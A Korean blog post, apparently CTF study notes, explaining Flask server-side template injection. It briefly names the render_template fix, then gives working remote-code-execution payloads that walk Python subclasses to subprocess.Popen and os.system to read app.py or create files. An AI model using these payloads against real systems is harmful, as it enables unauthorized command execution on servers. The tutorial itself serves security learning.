Flask + ssti 취약점

Hunjison·2021년 10월 30일
0

기본 원리

render_template_string()을 쓰면 {{ }} 안에 들어가는 구문을 템플릿으로 해석하기 때문에, 사용자의 입력이 들어가지 않도록 주의하여야 한다.

render_template()로 함수를 바꿔주면, 안전하게 바꿀 수 있다.


SSTI Exploit

1) subprocess.Popen() 찾기

목표는 subprocess.Popen()을 호출하는 것이다. 이게 없을 때에는 os.system()을 호출한다.
문제는 subprocess.Popen()을 어디서 찾을 것인가인데, 아래와 같이 찾는다.

[].__class__.__mro__[-1].__subclasses__() -> 이건 거의 고정

  • __class__ : 클래스를 나타낸다. (int class, list class 등등)
  • __mro__ : 자기에게 상속된 모든 클래스를 나열한다. (Object 클래스를 찾기 위해서 사용)
  • __subclasses__() : 자기가 상속해준 모든 클래스를 나열한다. (Object 클래스 하위에서 모든 클래스를 조회하기 위해서 사용)

__mro____subclasses__에 대해서 더 자세히 알고 싶으면 여기 블로그를 참조하자.

이렇게 찾아보면, 아래와 같이 다양한 클래스가 나온다. 문제는 여기에서 subprocess.Popen이 몇 번째에 존재하는지가 중요하다는 것이다.
'
빠르게 찾기 위해서 인덱싱하는 방법을 추천한다. __subclasses__()[200:250] 이런식으로 잘라서 보면 그나마 조금은 빠르게 찾을 수 있지 않을까 ㅎㅎ,,

여기까지 payload를 정리해보면

{{ [].__class__.__mro__[-1].__subclasses__()[216] }}


2) RCE payload

subprocess.Popen()이 생각보다 쓰기가 까다로웠다.
여기까지 왔으면 문제를 거의 다 푼 거나 다름 없는데, 사소한 parameter로 막혀서 문제를 못 풀면 억울하다.

subprocess.Popen('cat app.py',stdout=-1,stderr=-1,shell=True).communicate()

이런 식으로 사용하면 된다.

  • 첫 번째 인자는 args를 말한다. []로 해서 list로 넣어보니 (이유는 잘 모르겠지만) 인식이 안된다. '' 안에 넣어주자.
  • stdout=-1을 추가해주어야 stdout이 return으로 나온다. 기본값이 None이기 때문에 반드시 설정해주어야 한다. stderr도 마찬가지
  • Shell=True도 반드시 추가해주어야 쉘과 같은 결과값 및 에러값을 반환받을 수 있다. 추가해주어야 /bin/sh에서 실행하는 것과 동일한 리턴값을 받을 수 있으며, 특히 에러가 났을 경우에도 에러값을 return으로 확인할 수 있다.
  • communicate()도 실행해 주어야 결과값을 받을 수 있다.

payload : {{ [].__class__.__mro__[-1].__subclasses__()[216]('cat app.py',stdout=-1,stderr=-1,shell=True).communicate() }}


3) Another Payload

(1) os.system()을 찾아가기 (출처)

payload : {{ [].__class__.__mro__[-1].__subclasses__()[140]()._module.__builtins__['__import__']('os').system("touch hacked") }}

<class 'warnings.catch_warnings'> 클래스를 찾아가서 import를 찾아내는 방법이다.
하나씩 직접 실험해보면 무지 신기하다,,

하나 단점이라면 결과값을 확인할 수는 없어서 결과값을 바로 확인할 수는 없다.
그런데!! import os를 안하고 import subprocess 해서 Popen 함수를 호출했더니 결과값을 또 바로 볼 수 있었다.

profile
비전공자 출신 화이트햇 해커

0개의 댓글